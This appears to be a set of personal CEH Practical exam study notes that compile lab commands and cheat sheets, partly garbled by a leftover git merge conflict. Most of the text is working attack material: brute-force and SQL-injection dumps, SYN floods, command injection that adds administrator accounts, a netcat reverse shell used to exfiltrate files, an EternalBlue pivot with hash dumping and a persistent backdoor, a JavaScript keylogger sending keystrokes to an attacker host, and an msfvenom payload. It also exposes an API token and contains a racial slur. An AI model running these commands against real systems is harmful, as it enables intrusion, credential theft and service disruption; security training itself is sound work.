# CEH-v12-Practical

**Module 03: Scanning Networks**

**Lab1-Task1: Host discovery**

* **nmap -sn -PR [IP]**
  + **-sn:** Disable port scan
  + **-PR:** ARP ping scan
* **nmap -sn -PU [IP]**
  + **-PU:** UDP ping scan
* **nmap -sn -PE [IP or IP Range]**
  + **-PE:** ICMP ECHO ping scan
* **nmap -sn -PP [IP]**
  + **-PP:** ICMP timestamp ping scan
* **nmap -sn -PM [IP]**
  + **-PM:** ICMP address mask ping scan
* **nmap -sn -PS [IP]**
  + **-PS:** TCP SYN Ping scan
* **nmap -sn -PA [IP]**
  + **-PA:** TCP ACK Ping scan
* **nmap -sn -PO [IP]**
  + **-PO:** IP Protocol Ping scan

**Lab2-Task3: Port and Service Discovery**

* **nmap -sT -v [IP]**
  + **-sT:** TCP connect/full open scan
  + **-v:** Verbose output
* **nmap -sS -v [IP]**
  + **-sS:** Stealth scan/TCP hall-open scan
* **nmap -sX -v [IP]**
  + **-sX:** Xmax scan
* **nmap -sM -v [IP]**
  + **-sM:** TCP Maimon scan
* **nmap -sA -v [IP]**
  + **-sA:** ACK flag probe scan
* **nmap -sU -v [IP]**
  + **-sU:** UDP scan
* **nmap -sI -v [IP]**
  + **-sI:** IDLE/IPID Header scan
* **nmap -sY -v [IP]**
  + **-sY:** SCTP INIT Scan
* **nmap -sZ -v [IP]**
  + **-sZ:** SCTP COOKIE ECHO Scan
* **nmap -sV -v [IP]**
  + **-sV:** Detect service versions
* **nmap -A -v [IP]**
  + **-A:** Aggressive scan

**Lab3-Task2: OS Discovery**

* **nmap -A -v [IP]**
  + **-A:** Aggressive scan
* **nmap -O -v [IP]**
  + **-O:** OS discovery
* **nmap –script smb-os-discovery.nse [IP]**
  + **-–script:** Specify the customized script
  + **smb-os-discovery.nse:** Determine the OS, computer name, domain, workgroup, and current time over the SMB protocol (Port 445 or 139)

**Module 04: Enumeration**

**Lab2-Task1: Enumerate SNMP using snmp-check**

* nmap -sU -p 161 [IP]
* **snmp-check [IP]**

**Addition**

* nbtstat -a [IP] (Windows)
* nbtstat -c

**Module 06: System Hacking**

**Lab1-Task1: Perform Active Online Attack to Crack the System's Password using Responder**

* **Linux:**
  + cd
  + cd Responder
  + chmox +x ./Responder.py
  + **sudo ./Responder.py -I eth0**
  + passwd: \*\*\*\*
* **Windows**
  + run
  + \CEH-Tools
* **Linux:**
  + Home/Responder/logs/SMB-NTMLv2-SSP-[IP].txt
  + sudo snap install john-the-ripper
  + passwd: \*\*\*\*
  + **sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt**

**Lab3-Task6: Covert Channels using Covert\_TCP**

* **Attacker:**
  + cd Desktop
  + mkdir Send
  + cd Send
  + echo "Secret"->message.txt
  + Place->Network
  + Ctrl+L
  + **smb://[IP]**
  + Account & Password
  + copy and paste covert\_tcp.c
  + **cc -o covert\_tcp covert\_tcp.c**
* **Target:**
  + **tcpdump -nvvx port 8888 -I lo**
  + cd Desktop
  + mkdir Receive
  + cd Receive
  + File->Ctrl+L
  + smb://[IP]
  + copy and paste covert\_tcp.c
  + cc -o covert\_tcp covert\_tcp.c
  + **./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 9999 -dest\_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt**
  + **Tcpdump captures no packets**
* **Attacker**
  + **./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 8888 -dest\_port 9999 -file /home/attacker/Desktop/send/message.txt**
  + Wireshark (message string being send in individual packet)

**Module 08: Sniffing**

**Lab2-Task1: Password Sniffing using Wireshark**

* **Attacker**
  + Wireshark
* **Target**
  + [www.moviescope.com](http://www.moviescope.com/)
  + Login
* **Attacker**
  + Stop capture
  + File-&gt;Save as
  + Filter: **http.request.method==POST**
  + RDP log in Target
  + service
  + start Remote Packet Capture Protocol v.0 (experimental)
  + Log off Target
  + Wireshark-&gt;Capture options-&gt;Manage Interface-&gt;Remote Interfaces
  + Add a remote host and its interface
  + Fill info
* **Target**
  + Log in
  + Browse website and log in
* **Attacker**
  + Get packets

**Module 10: Denial-of-Service**

**Lab1-Task2: Perform a DoS Attack on a Target Host using hping3**

* **Target:**
  + Wireshark-&gt;Ethernet
* **Attacker**
  + **hping3 -S [Target IP] -a [Spoofable IP] -p 22 -flood**
    - **-S: Set the SYN flag**
    - **-a: Spoof the IP address**
    - **-p: Specify the destination port**
    - **–flood: Send a huge number of packets**
* **Target**
  + Check wireshark
* **Attacker (Perform PoD)**
  + **hping3 -d 65538 -S -p 21 –flood [Target IP]**
    - **-d: Specify data size**
    - **-S: Set the SYN flag**
* **Attacker (Perform UDP application layer flood attack)**
  + nmap -p 139 10.10.10.19 (check service)
  + **hping3 -2 -p 139 –flood [IP]**
    - **-2: Specify UDP mode**
* **Other UDP-based applications and their ports**
  + CharGen UDP Port 19
  + SNMPv2 UDP Port 161
  + QOTD UDP Port 17
  + RPC UDP Port 135
  + SSDP UDP Port 1900
  + CLDAP UDP Port 389
  + TFTP UDP Port 69
  + NetBIOS UDP Port 137,138,139
  + NTP UDP Port 123
  + Quake Network Protocol UDP Port 26000
  + VoIP UDP Port 5060

**Module 13: Hacking Web Servers**

**Lab2-Task1: Crack FTP Credentials using a Dictionary Attack**

* nmap -p 21 [IP]
* **hydra -L usernames.txt -P passwords.txt ftp://10.10.10.10**

**Module 14: Hacking Web Applications**

**Lab2-Task1: Perform a Brute-force Attack using Burp Suite**

* Set proxy for browser: 127.0.0.1:8080
* Burpsuite
* Type random credentials
* capture the request, right click-&gt;send to Intrucder
* Intruder-&gt;Positions
* Clear $
* Attack type: Cluster bomb
* select account and password value, Add $
* Payloads: Load wordlist file for set 1 and set 2
* start attack
* **filter status==302**
* open the raw, get the credentials
* recover proxy settings

**Lab2-Task3: Exploit Parameter Tampering and XSS Vulnerabilities in Web Applications**

* Log in a website, change the parameter value (id )in the URL
* Conduct a XSS attack: Submit script codes via text area

**Lab2-Task5: Enumerate and Hack a Web Application using WPScan and Metasploit**

* **wpscan –api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads –url** **http://10.10.10.16:8080/CEH** **–plugins-detection aggressive –enumerate u**
  + **–enumerate u: Specify the enumeration of users**
  + **API Token: Register at** [**https://wpscan.com/register**](https://wpscan.com/register)
  + **Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads**
* service postgresql start
* msfconsole
* **use auxiliary/scanner/http/wordpress\_login\_enum**
* show options
* **set PASS\_FILE password.txt**
* **set RHOST 10.10.10.16**
* **set RPORT 8080**
* **set TARGETURI** **http://10.10.10.16:8080/CEH**
* **set USERNAME admin**
* run
* Find the credential

**Lab2-Task6: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server (DVWA low level security)**

* If found command injection vulnerability in an input textfield
* hostname
* whoami
* **| tasklist| Taskkill /PID /F**
  + **/PID: Process ID value od the process**
  + **/F: Forcefully terminate the process**
* dir C:\
* **| net user**
* **| net user user001 /Add**
* **| net user user001**
* **| net localgroup Administrators user001 /Add**
* Use created account user001 to log in remotely

**Module 15: SQL Injection**

**Lab1-Task2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap**

* Login a website
* Inspect element
* Dev tools-&gt;Console: document.cookie
* **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" –cookie="value" –dbs**
  + **-u: Specify the target URL**
  + **–cookie: Specify the HTTP cookie header value**
  + **–dbs: Enumerate DBMS databases**
* Get a list of databases
* Select a database to extract its tables
* **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" –cookie="value" -D moviescope –tables**
  + **-D: Specify the DBMS database to enumerate**
  + **–tables: Enumerate DBMS database tables**
* Get a list of tables
* Select a column
* **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" –cookie="value" -D moviescope –T User\_Login –dump**
* Get table data of this column
* **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" –cookie="value" –os-shell**
* Get the OS Shell
* TASKLIST

**Module 17: Hacking Mobile Platforms**

**Lab 1-Task 4: Exploit the Android Platform through ADB using PhoneSploit** - cd Phonesploit - python3 -m pip install colorama - python3 phonesploit.py - 3 - 10.10.10.14 - 4 - pwd - cd sdcard - cd Download

**Module 20: Cryptography**

**Lab1-Task2: Calculate MD5 Hashes using MD5 Calculator**

* Nothing special

**Lab4-Task1: Perform Disk Encryption using VeraCrypt**

* Click VeraCrypt
* Create Volumn
* Create an encrypted file container
* Specify a path and file name
* Set password
* Select NAT
* Move the mouse randomly for some seconds, and click Format
* Exit
* Select a drive, select file, open, mount
* Input password
* Dismount
* Exit

**Module Appendix: Covered Tools**

* **Nmap**
  + Multiple Labs
* **Hydra**
  + Module 13: Lab2-Task1
* **Sqlmap**
  + Module 15: Lab1-Task2
* **WPScan**
  + Module 14: Lab2-Task5
  + wpscan –-url http://10.10.10.10 -t 50 -U admin -P rockyou.txt
* **Nikto**
  + [https://zhuanlan.zhihu.com/p/124246499](https://zhuanlan.zhihu.com/p/124246499%20)
* **John**
  + Module 06: Lab1-Task1
* **Hashcat**
  + **Crack MD5 passwords with a wordlist:**
  + hashcat hash.txt -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  + **Crack MD5 passwords in a certain format:**
  + hashcat -m 0 -a 3 ./hash.txt 'SKY-HQNT-?d?d?d?d'
  + <https://xz.aliyun.com/t/4008>
  + <https://tools.kali.org/password-attacks/hashcat>
* **Metasploit**
  + Module 14: Lab2-Task5
* **Responder LLMNR**
  + Module 06: Lab1-Task1
* **Wireshark or Tcpdump**
  + Multiple Labs
* **Steghide**
  + **Hide**
  + steghide embed -cf [img file] -ef [file to be hide]
  + steghide embed -cf 1.jpg -ef 1.txt
  + Enter password or skip
  + **Extract**
  + steghide info 1.jpg
  + steghide extract -sf 1.jpg
  + Enter password if it does exist
* **OpenStego**
  + <https://www.openstego.com/>
* **QuickStego**
  + Module 06: Lab0-Task1
* **Dirb (Web content scanner)**
  + <https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86>
  + <https://blog.csdn.net/weixin_44912169/article/details/105655195>
* **Searchsploit (Exploit-DB)**
  + <https://www.hackingarticles.in/comprehensive-guide-on-searchsploit/>
* **Crunch (wordlist generator)**
  + <https://www.cnblogs.com/wpjamer/p/9913380.html>
* **Cewl (URL spider)**
  + <https://www.freebuf.com/articles/network/190128.html>
* **Veracrypt**
  + Module 20: Lab4-Task1
* **Hashcalc**
  + Module 20: Lab1-Task1 (Nothing special)
* **Rainbow Crack**
  + Module 06: Lab0-Task0
* **Windows SMB**
  + smbclient -L [IP]
  + smbclient \ip\sharename
  + nmap -p 445 -sV –script smb-enum-services [IP]
* **Run Nmap at the beginning** 
  + nmap -sn -PR 192.168.1.1/24 -oN ip.txt
  + nmap -A -T4 -vv -iL ip.txt -oN nmap.txt
  + nmap -sU -sV -A -T4 -v -oN udp.txt
* **Snow**
* ./snow -C -p “magic” output.txt
* snow -C -m “Secret Text Goes Here!” -p “magic” readme.txt readme2.txt • -m → Set your message • -p → Set your password
* **Rainbowcrack**
  + Use Winrtgen to generate a rainbow table
  + Launch RainbowCrack
  + File->Load NTLM Hashes from PWDUMP File
  + Rainbow Table->Search Rainbow Table
  + Use the generated rainbow table
  + RainbowCrack automatically starts to crack the hashes **QuickStego**
  + Launch QuickStego
  + Open Image, and select target .jpg file
  + Open Text, and select a txt file
  + Hide text, save image file
  + Re-launch, Open Image
  + Select stego file
  + Hidden text shows up

**Useful Links**

* tools info
* <https://github.com/Adityaraj6/CEH-CheatSheet/blob/main/CMD%20CheatSheet>
* <https://book.thegurusec.com/certifications/certified-ethical-hacker-practical/steganograp>
* step by step
* <https://github.com/DarkLycn1976/CEH-Practical-Notes-and-Tools>
* category wise
* <https://github.com/nirangadh/ceh-practical/tree/main>

DNS N NSLOOKUP

?

Set type=a

domain www.certifiedhacker.com

set type=cname

www.certifiedhacker.com

set type=a

ns1.bluehost.com

ICMP ECHO N ARP PINGS

# Be sure to replace 1

92.168.252 with YOUR subnet:

ifconfig

ipconfig

ping <XP-PRO IP>

ctrl+c

clear

icmp&&ip.dst==<XP-PRO IP>

icmp&&ip.addr==<XP-PRO IP>

for i in {1..254} ;do (ping -c 1 192.168.252.$1 | grep "bytes from" &) ;done

icmp&&ip.dst!=<KALI IP>

sudo nmap -sP -PR 192.168.252.0/24

kali

eth.addr==<KALI MAC Address>

sudo nmap --disable-arp-ping -sP -PE 192.168.252.0/24

HOST DISCOVERY WITH NMAP

# Be sure to change the IP addresses to the ones you have

nmap -sL scanme.nmap.org

nmap -sn 192.168.252.0/24

nmap -Pn 192.168.252.128-132

nmap -PS -p80 192.168.252.128-132

nmap -PA -p80 192.168.252.128-132

sudo nmap -PU 192.168.252.128-132

kali

sudo nmap -sP -PU 192.168.252.128-132

sudo nmap -sP -PY 192.168.252.128-132

sudo nmap -sP -PE 192.168.252.128-132

sudo nmap -sP -PP 192.168.252.128-132

nmap -n 8.8.4.4

nmap -R 8.8.4.4

HPING3 PACKET CRAFTING

Kali Terminal 1:

tcpdump

ctrl+c

tcpdump -v -n -X dst <metasploitable IP> and src <Kali IP>

Kali Terminal 2:

clear

hping3 -h

clear

hping3 --scan 1-200 <metasploitable IP>

hping3 --udp --scan 1-200 <metasploitable IP>

hping3 -S -c 1 -p 21 -s 5150 <metasploitable IP>

hping3 -S -c 1 -s 5150 <metasploitable IP>

hping3 -S -c 1 -p 80 -s 5150 <metasploitable IP>

hping3 -S -c 1 -p 70 -s 5150 <metasploitable IP>

hping3 -A -c 1 -p 70 -s 5150 <metasploitable IP>

hping3 -SA -c 1 -p 80 -s 5150 <metasploitable IP>

hping3 -R -c 1 -p 80 -s 5150 <metasploitable IP>

hping3 -FA -c 1 -p 80 -s 5150 <metasploitable IP>

hping3 -U -P -F -c 1 -p 80 -s 5150 <metasploitable IP>

--------------------------------------

# Create a file named get in /root

# Enter this one line in the file and save it:

GET / HTTP/1.1

hping3 -c 1 -p 80 -A -d 20 --file /root/get

NMAP BASIC SCANS

Basic NMAP Scans

Note: Be sure to change the IP addresses to suit your environment

# Scan a Single Target nmap [target]

nmap <metasploitable IP>

nmap scanme.nmap.org

# Scan Multiple Targets nmap [target1, target2, etc]

nmap <Server2016 IP> <XP-PRO IP>

# Scan a Range of Hosts nmap [range of ip addresses]

nmap 192.168.2252.128-132

# Scan an Entire Subnet nmap [ip address/CIDR]

nmap 192.168.252.0/24

USING NETCAT

Using Netcat

Server2016:

Ensure netcat files are in C:\tools\netcat

Create the folder c:\secret

Add text files with some text:

C:\secret\payments.txt

C:\secret\confidential.txt

Kali:

Create home/kali/haha.txt with some text

Unless noted:

"server" = Server2016

"client" = Kali

Obtain and record IP addresses for both VMs

--------------------------------------------------

# Make a simple client/server connection

# Can be used as a basic chat service

Server2016:

cd c:\tools\netcat

dir

cls

nc -Lnvp 1234

Kali:

nc -vn 192.168.6.132 1234

On either:

Hello

On the other:

What's up?

Both:

Ctrl+c

-----------------------------------------------

# Server delivers a file to the client

# when the client connects

Server2016:

nc -w 5 -Lnvp 5555 < C:\secret\confidential.txt

Kali:

nc -w 5 -nv 192.168.6.132 5555 > confidential.txt

Both:

Ctrl+c

----------------------------------------------

# Client uploads a file to the server

Server2016:

nc -w 5 -Lnvp 7777 > C:\Users\Administrator\Desktop\haha.txt

Kali:

nc -w 5 -nv <Server IP> 7777 < haha.txt

Both:

Ctrl+c

-------------------------------------------------------

# Install ncat on Kali

sudo apt install ncat

# KALI will use TWO terminals

Kali: Terminal 1

ncat -l -n -v -w 5 -k 9999 > payments.txt

# Server provides a reverse shell

when the client connects

Server2016:

nc -Lnvp 8888 -e cmd.exe

Kali: Terminal 2

nc -nv 192.168.6.132 8888

net user hakker 1Password /add

net user

net localgroup administrators /add hakker

net localgroup administrators

nc -w 5 -nv 192.168.6.128 9999 < C:\secret\payments.txt

# Server2016:

Add data to payments.txt

Kali: Terminal 2

(Repeat last command)

# Kali:

Check payments.txt for new data.

Both:

Ctrl+c

PIVOTING ATTACK

On Kali:

# Prepare a handler to receive the malware connection on port 80

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

show options

set lhost 172.16.0.200

set lport 80

show options

run

---------------------------------------------------------------------

# On XP-PRO:

Double-click minecraft-mini.exe to "play" the game

----------------------------------------------------------------------

# On Kali:

Verify that the infected game connected to your handler,

and that you have a meterpreter> prompt

# Determine the internal subnet ID

# At the meterpreter> prompt enter:

getuid

getsystem

getuid

route (identify the internal IP subnet)

background

sessions (make note of the meterpreter session #)

# Create a pivot using meterpreter as a

# pipeline into the internal network

search autoroute

use post/multi/manage/autoroute

set session 1

run

# Conduct a ping sweep of the internal network

search ping\_sweep

use post/multi/gather/ping\_sweep

show options

set rhosts 10.10.10.0/24

set session 1

run (make note of the discovered IP addresses)

# Port scan the internal hosts

search portscan

use auxiliary/scanner/portscan/tcp

show options

set ports 80,135,139,445,1433,3389

set rhosts 10.10.10.10-12

run

# ID the internal host OS versions

search scanner/smb

use auxiliary/scanner/smb/smb\_version

show options

set rhosts 10.10.10.10-12

set threads 3

run (see if the scan identifies the OS-is one of them Server 2016?)

# Attempt an Eternal Blue PSEXEC buffer overflow attack against Server2016

search eternal

use <exploit/windows/smb/ms17\_010\_psexec>

show options

search payload windows/x64/meterpreter

set payload windows/x64/meterpreter/bind\_tcp

set rhosts <server2016 IP>

set lhost <Kali IP>

set smbuser moo

set smbpass 1Password

show options

run

# Get information from Server2016

getuid

# Drop to a Windows command prompt (shell)

shell

# Create a backdoor administrator account

net user haxxor Letmein! /add

net localgroup administrators /add haxxor

# Return to meterpreter and dump Server2016 password hashes

sessions

sessions 2

search hashdump

use post/windows/gather/smart\_hashdump

show options

set session 2

run

INSTALLING A PERSISTENT BACKDOOR

Persistence

VMs:

Kali

Server2016

Verify IP addresses of both VMs

-------------------------------------------------

Use Eternal Blue PSEXEC to compromise Server2016

use exploit/windows/smb/ms17\_010\_psexec

set payload windows/meterpreter/reverse\_tcp

set rhosts 192.168.6.136

set lhost 192.168.6.128

set smbpass 1Password

set smbuser moo

show options

run

background

sessions

use exploit/windows/local/persistence\_service

set payload windows/meterpreter/reverse\_tcp

set session <session ID>

set lport 7777

exploit

# Make note of the resource file

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

set lhost <Kali IP>

set lport 7777

run

# Reboot Server2016

# Log in as administrator

# Verify that the handler receives a connection

# At the meterpreter prompt type:

getuid

# When done, at meterpreter prompt> enter:

resource <full path to resource file>

# Make note of the name of the remaining artifact in C:\Temp

# Manually delete the final artifact in C:\Temp

DEFACING A WEBSITE

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir+c:\

http://192.168.252.155/scripts/..//../winnt/system32/cmd.exe?/c+dir+c:\

http://192.168.252.155/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/ping.exe?+192.168.252.152

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/arp.exe?+-a

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/tftp.exe?+192.168.252.152+get+default.htm

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/tftp.exe?+-i+192.168.252.152+get+virus.gif

http://192.168.252.155/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+copy+c:\inetpub\scripts\default.htm+c:\inetpub\wwwroot\

[http://192.168.252.155/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+copy+c:\inetpub\scripts\virus.gif+c:\inetpub\wwwroot\](http://192.168.252.155/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+copy+c:%5Cinetpub%5Cscripts%5Cvirus.gif+c:%5Cinetpub%5Cwwwroot%5C)

<!doctype html>

<html>

<body>

<h1>A web page served by netcat!</h1>

<form id="login-form">

<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username">

<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password">

<input type="submit" value="Login" id="login-form-submit">

</form>

<script>

var attacker = 'http://192.168.6.128:31337/?key=';

document.onkeypress = function (payload) {

new Image().src = attacker + payload.key;

}

</script>

</body>

</html>

CEH - [x] Footprinting - [x] Scanning - [x] Enumeration - [x] Vulnerability Analysis - [x] System Hacking \*\* Gaining Access  **- [x] Cracking passwords - [x] Vulnerability Exploitation**  Escalating Privileges  Maintaining Access  **- [x] Executing Applications - [x] Hiding Files**  Clearing Logs \*\* - [x] Covering Tracks

#### Online Resources

* [Ethical hacking labs writeup - git](https://github.com/Samsar4/Ethical-Hacking-Labs)

#### Enumeration

#### host enumation

host and service enumeration

*//discover devices inside the network eth0*  
netdiscover -i eth0  
nmap -sN 10.10.10.0/24  
*// enumeration*  
netstat -a 10.10.10.10 *// netstat enumeration netbios*  
snmp-check 10.10.10.10 *// extract users from netbios - parrot*  
enum4linux  
  
sudo nmap -vv -p 1-1000 -sC -A 10.10.10.10 -oN nmap\_scan  
nmap -p- -sS -min-rate 10000 -Pn -n 10.10.10  
nmap -6 www.scanme.com *// scan IPV6*  
nmap -sC -sV -vvv -T5 -p 80,21,2222 10.10.10  
sudo nmap -v -sV -sC  
nmap -Pn -sS -n 10.10.. -T4 -oN nmap\_scan *// [prefer] fast scan ufo mode*  
nmap -v -p- -sV -sC -T4 10.10 -oN nmap\_scan *// UDP/TCP scanning*  
sudo nmap -p- -Pn -vvv -sS 10.10.. -oN nmap\_scan  
nmap -sS -sV -A -O -Pn  
nmap -sV -sT -sU -A 10.10.. -oN nmap\_scan  
sudo nmap -p- 10.10.. --open -oG nmap/AllPorts -vvv -Pn -n -sS  
sudo nmap -p22,80 -sV -sC -Pn -n 10.10.. -oN nmap/openports -vvv  
nmap -sV -p 22,443 10.10../24 *// scan mi net 24*  
nmap -sU -p 161 -sV -sC 10.10.. *// UDP Scan*  
nmap -A --min-rate=5000 --max-retries=5 10.10.. *// optimize scan time*  
<<<<<<< HEAD  
nmap -Pn -sS -A -oX test 10.10.10.0/24 *// Scanning the network and subnet*  
  
-PR = ARP ping scan  
-PU = UDP ping scan  
=======  
nmap -Pn -sS -A -oX test 10.10.../24 // scanning network subnet  
  
//scripts  
snmp //extract users of the network port 161  
  
-PR = ARP ping scan  
-PE = ICMP scan echo  
-PU = UDP ping scan  
-oX = save XMl  
>>>>>>> df364a4f409faf7bc6bb4b291db58d3dcabb2bb9  
-vv = verbose  
-p = ports  
-sC = default scripts  
-A = agressive scan  
-oN = save in a file  
-sS = syn scan is untrusive because don't complete the petitions  
-n = no resolution of dns  
-p- = all ports  
-sV = Probe open ports to determine service/version inf  
-T4 = Timing scanning <1-5>  
-o = output to save the scan  
-sT = TCP port scan  
-sU = UDP port scan  
-A = Agressive/ OS detection   
--open = all ports open  
-oG = save **in** a grep format  
-Pn = no **do** ping to the ip  
-n = dont resolve domain names  
--max-retries = 1 **default** verify 10 times.  
-O = verifica el sistema operativo  
  
*// My niggerian methodology*  
nmap -sV -sC nmap 10.10.10.x #top1000ports  
nmap -sC -sV -v -oN nmap.txt  
masscan -e tun0 -p1-65535 -rate=1000 <ip>  
sudo nmap -sU -sV -A -T4 -v -oN udp.txt ip

#### default ports

| port | name |
| --- | --- |
| 3306 | mysql –script mysql-info mysql-enum |
| 3389 | rdp port remote port |
| 25 | smtp mail |
| 80 | http |
| 443 | https |
| 20 | ftp |
| 23 | telnet |
| 143 | imap |
| 22 | ssh |
| 53 | dns |

#### Web Enumeration

*// dir enumeration*  
gobuster dir -u 10.10.. -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,txt -q  
  
dir : directory listing  
-u : host  
-w : wordlists  
-t : threads int / Number **of** concurrent threads (**default** 10)  
-x : enumerate hidden files htm, php  
-q : –quiet / Don’t print the banner and other noise  
  
*// wordpress enumeration*  
wpscan --url https:*//localchost.com --passwords=*  
wpscan -u 10.10.. -e u vp  
wpscan -u 10.10.. -e u --wordlist path/rockyou.txt *//bruteforce*  
  
-e = enumerate  
u = enumerate usernames  
vp = vulnerable plugins  
  
*// wordlist generation*  
cewl -w wordlist -d 2 -m 5 http:*//wordpress.com*  
-d = deeph **of** the scanning  
-m = long **of** the words  
-w = save to a file worlist

#### web explotation

*// sql injection*  
sqlmap -u http:*//10.10.197.40/administrator.php --forms --dump*  
  
-u = url  
--forms = grab the forms /detect  
--dump = retrieve data form de sqli  
  
#### basic sqli injection  
sqlmap -u 10.10.77.169 --forms --dump  
  
- u = url  
- --forms= check the forms automatically  
- --dump= dump dthe database data entries  
  
*// extract database*  
sqlmap -u http:*//localchost.com/hey.php?artist=1 --dbs*  
*// extract colums*  
Sqlmap -u http:*//localchost.com/hey.php?artist=1 --D (tabla) --T artists --columns*  
*// extract data of the table and the column inside of the db*  
sqlmap -u http:*//localchost.com/hey.php?artist=1 --D (tabla) --T artist --C adesc, aname, artist\_id --dump*

#### enumeration

enum4linux 10.10.60.11

#### bruteforcing

hydra -t4 -l lin -P /usr/share/wordlists/rockyou.txt ssh:10.10.149.11  
hydra -l lin -P /usr/share/wordlists/rockyou.txt ssh:10.10.149.118

#### stego

exiftool cats.png  
zsteg cats.png  
binwalk -d cats.png  
  
*// windows*  
snow -C -p "magic" readme2.txt  
-p = passowrd  
*//image steganography*  
openstego > extract dat >   
  
*//stegseek to crack stego password*

#### windows rpc mal configurado

rpcclient 10.10.123.10

#### hashcracking

**hashcat**

hashcat -O -w3 -m 0 56ab24c15b72a457069c5ea42fcfc640 /usr/share/wordlists/rockyou.txt --show  
  
-m = type of hash  
-a = attack mode (1-3) 3 bruteforcing  
--show = mostrar hash crackeado  
  
hashcat -O -A 0 -m 20 salt12314124:passowrdmd523432 /usr/share/worlist/rockyou.txt  
hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt --show

**john**

john --format=Raw-MD5 hash --wordlist=/usr/share/wordlists/rockyou.txt  
  
- --format = hash format '--list=formats | grep MD5'  
- hash = file - echo '123213dasd' >> hash  
- wordlist= = wordlist to crack  
  
### to show the hash cracked  
john --show --format=Raw-MD5 hash  
  
- --show = show the hash:Cracked

**cryptography**

*//HashCalc*  
take a file and open into hashcalc  
i will give you the the hash **for** md5 or other algorithms  
  
*// MD5 calculator*  
it will compare both files what we need get the md5  
  
*// HashMyFiles*  
it allow you to hash all the files inside a folder  
  
*// Veracrypt*

**rainbowtables**

Rainbowtables are already hash **with** password to perform cracking without calculate a **new** hash.  
*// linux*  
rtgen *// rainbowcrack*  
rtgen sha256 loweralpha-numeric 1 10 0 1000 4000 0 *// generate a new rainbow table*  
*// windows*  
rtgen md5 loweralpha-hnumeric 1 4 1 1000 1000 0 *//*  
then use app rainbowcrack *// add the hashes and the rainbow table option*

#### enumerating -samba

search for commands  
smbmap --help | grep -i username  
  
smbmap -u "admin" -p "passowrd" -H 10.10.10.10 -x "ipconfig"  
-x = command

### wireshark

### wireshark filters  
  
*// filters by post*  
http.request.method==POST  
smtp *// email*  
pop *// email*  
dns.qry.type == 1 -T fields -e dns.qry.name = show records present **in** **this** pcap  
dns.flags.response == 0 = There are 56 unique DNS queries.  
tcp *// show tcp packets*  
*//find packets*  
edit > find packets > packet list : packet bytes > **case** sensitive: strings > string "pass" :search  
  
*//DDOS ATTACK*  
look number **of** packets first column  
then >statistics > ipv4 statistics > destination and ports  
  
*/// tshark cli*  
tshark -r dns.cap | wc -l *//count how many packets are in a capture*  
tshark -r dns.cap -Y "dns.qry.type == 1" -T fields -e dns.qry.name *//show records present in this pcap*  
tshark -r dnsexfil.pcap -Y "dns.flags.response == 0" | wc -l   
tshark -r pcap -T fields -e dns.qry.name | uniq | wc -l *//There are 56 unique DNS queries.*  
tshark -r pcap | head -n2 *//DNS server side to identify 'special' queries*  
tshark -r pcap -Y "dns.flags.response == 0" -T fields -e "dns.qry.name" | sed "s/.m4lwhere.org//g" | tr -d "\n" `exfiltrate data with regx`

#### Privilege scalation reverse shell

ssh -p 2222 mith@10.10.123.23  
sudo -ls ###list de su permisions  
  
sudo vim -c ':!/bin/sh' ### privilege scalation

https://gtfobins.github.io/

#### other

hydra -l root -P passwords.txt [-t 32] ftp  
hydra -L usernames.txt -P pass.txt mysql  
hashcat.exe -m hash.txt rokyou.txt -O  
nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmapOutput 0.10.10   
wpscan --url https:*//10.10.10.10 --enumerate u*  
netdiscover -i eth0  
john --format=raw-md5 password.txt [ To change password to plain text ]

#### vulnerability scanning

nikto -h url -Cgidirs all

#### System hacking

*// 1 - on a windows machine*  
wmic useraccount get name,sid *//list users*  
*// using a tool*  
Pwdump7.exe >> /path/file.txt *//get a file to crack*  
*// using ophcrack to crack the hash with rainbow tables*  
ophcrack >> tables >> vista free  
*// cracking with rainbow tables using winrtgen to create a rainbow table*  
winrtgen >> add table >> hashntlm  
rainbowcrack >> select the obtained file >> select dircreatd **with** winrtgen  
  
*// 2 - using responder to capture the traffic of the windows system*  
*//run a shared folder on windows*  
*//capture the ntlm hash >> cracking with jhon*  
chmod +x responder.py  
./Responder.py -I eth0  
-I = **interface** *//ifconfig*  
*// cracking the ntlm capture with ntlm*  
john capture.txt  
  
lopthcr4ck *// helps to crack ntlm passwords store on windows*  
  
*// system hacking windows*  
*// look for an exploit and try to get remote access to the victim using msfvnom,metasploit and rat*  
  
msfvenom -p windows/meterpreter/reverse\_tcp --platform windows -a x86 -f exe LHOST=my.ip LPORT=my.port -o /root/Desktop/test.exe  
-p = payload  
--platform = Os  
-a = architecture  
-f = format **of** the payload  
-o = output dir  
  
*// now with try to share the file with the victim*  
*// we try three forms*  
*// #1 - option*  
mkdir /**var**/www/html/share  
